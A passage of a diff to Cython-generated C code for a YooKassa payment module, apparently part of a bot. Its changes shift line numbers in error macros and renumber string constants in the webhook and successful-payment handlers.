__PYX_ERR(0, 230, __pyx_L26_error) + __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_error); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 222, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_18); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 230, __pyx_L26_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_20 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_5); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 230, __pyx_L26_error) + __pyx_t_20 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_5); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 222, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_20); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; @@ -6696,22 +6694,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_18, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L26_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L26_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Response); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 231, __pyx_L26_error) + __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Response); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 223, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_18); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L26_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 231, __pyx_L26_error) - __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_18, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 231, __pyx_L26_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 223, __pyx_L26_error) + __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_18, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 223, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_20); __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -6816,12 +6814,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 233, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 225, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_warning); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 233, __pyx_L6_error) + __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_warning); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 225, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 233, __pyx_L6_error) + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 225, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_15 = 0; __pyx_t_16 = 127; @@ -6830,19 +6828,19 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_15 += 12; __Pyx_GIVEREF(__pyx_kp_u_ID_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_ID_2); - __pyx_t_20 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 233, __pyx_L6_error) + __pyx_t_20 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 225, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_20); __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_20) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_20) : __pyx_t_16; __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_20); __Pyx_GIVEREF(__pyx_t_20); PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_20); __pyx_t_20 = 0; - __Pyx_INCREF(__pyx_kp_u__11); + __Pyx_INCREF(__pyx_kp_u__10); __pyx_t_16 = (65535 > __pyx_t_16) ? 65535 : __pyx_t_16; __pyx_t_15 += 27; - __Pyx_GIVEREF(__pyx_kp_u__11); - PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__11); - __pyx_t_20 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 233, __pyx_L6_error) + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__10); + __pyx_t_20 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 225, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_20); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -6864,22 +6862,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_17, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Response); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 234, __pyx_L6_error) + __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Response); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 226, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 234, __pyx_L6_error) - __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_17, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 234, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 226, __pyx_L6_error) + __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_17, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 226, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_20); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -6901,7 +6899,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_21 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_21) { __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_20, &__pyx_t_2, &__pyx_t_17) < 0) __PYX_ERR(0, 235, __pyx_L8_except_error) + if (__Pyx_GetException(&__pyx_t_20, &__pyx_t_2, &__pyx_t_17) < 0) __PYX_ERR(0, 227, __pyx_L8_except_error) __Pyx_XGOTREF(__pyx_t_20); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_17); @@ -6911,14 +6909,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_GIVEREF(__pyx_t_2); /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L37_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 228, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 236, __pyx_L37_error) + __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 228, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_18); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L37_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 228, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u__12, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 236, __pyx_L37_error) + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u__11, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 228, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -6940,22 +6938,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_18, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 236, __pyx_L37_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 237, __pyx_L37_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 237, __pyx_L37_error) + __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 229, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_18); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 237, __pyx_L37_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 237, __pyx_L37_error) - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_18, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 237, __pyx_L37_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 229, __pyx_L37_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_18, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 229, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -7140,7 +7138,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 240, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 232, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -7148,14 +7146,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 240, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 232, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_successful_payment", 1, 2, 2, 1); __PYX_ERR(0, 240, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_successful_payment", 1, 2, 2, 1); __PYX_ERR(0, 232, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_successful_payment") < 0)) __PYX_ERR(0, 240, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_successful_payment") < 0)) __PYX_ERR(0, 232, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -7168,7 +7166,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_successful_payment", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 240, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_successful_payment", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 232, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -7207,7 +7205,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_successful if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 240, __pyx_L1_error) + __PYX_ERR(0, 232, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -7218,7 +7216,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_successful __Pyx_INCREF(__pyx_cur_scope->__pyx_v_amount); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_amount); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_11generator3, __pyx_codeobj__13, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_successful_payment, __pyx_n_s_process_successful_payment, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 240, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_11generator3, __pyx_codeobj__12, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_successful_payment, __pyx_n_s_process_successful_payment, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -7275,7 +7273,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 240, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 232, __pyx_L1_error) { __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); @@ -7284,7 +7282,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 245, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 237, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; __pyx_t_7 = 0; @@ -7304,7 +7302,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ PyObject *__pyx_callargs[4] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount, __pyx_n_u_yookassa_2}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 3+__pyx_t_7); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 245, __pyx_L4_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 237, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } @@ -7334,16 +7332,16 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 245, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 237, __pyx_L4_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 245, __pyx_L4_error) + else __PYX_ERR(0, 237, __pyx_L4_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 246, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 238, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; __pyx_t_7 = 0; @@ -7363,7 +7361,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ PyObject *__pyx_callargs[3] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L4_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 238, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } @@ -7393,16 +7391,16 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 246, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 238, __pyx_L4_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 246, __pyx_L4_error) + else __PYX_ERR(0, 238, __pyx_L4_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 247, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 239, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; __pyx_t_7 = 0; @@ -7422,7 +7420,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ PyObject *__pyx_callargs[3] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 247, __pyx_L4_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 239, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } @@ -7452,12 +7450,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 247, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 239, __pyx_L4_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 247, __pyx_L4_error) + else __PYX_ERR(0, 239, __pyx_L4_error) } } @@ -7474,7 +7472,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_8) { __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6) < 0) __PYX_ERR(0, 248, __pyx_L6_except_error) + if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6) < 0) __PYX_ERR(0, 240, __pyx_L6_except_error) __Pyx_XGOTREF(__pyx_t_4); __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_6); @@ -7483,39 +7481,39 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_cur_scope->__pyx_v_e = __pyx_t_5; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_logger); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 249, __pyx_L18_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_logger); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 241, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_error); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 249, __pyx_L18_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_error); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 241, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = PyTuple_New(4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 249, __pyx_L18_error) + __pyx_t_10 = PyTuple_New(4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 241, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_12 = 0; __pyx_t_13 = 127; - __Pyx_INCREF(__pyx_kp_u__14); + __Pyx_INCREF(__pyx_kp_u__13); __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; __pyx_t_12 += 43; - __Pyx_GIVEREF(__pyx_kp_u__14); - PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u__14); - __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 249, __pyx_L18_error) + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u__13); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 241, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_13; __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); __Pyx_GIVEREF(__pyx_t_14); PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_14); __pyx_t_14 = 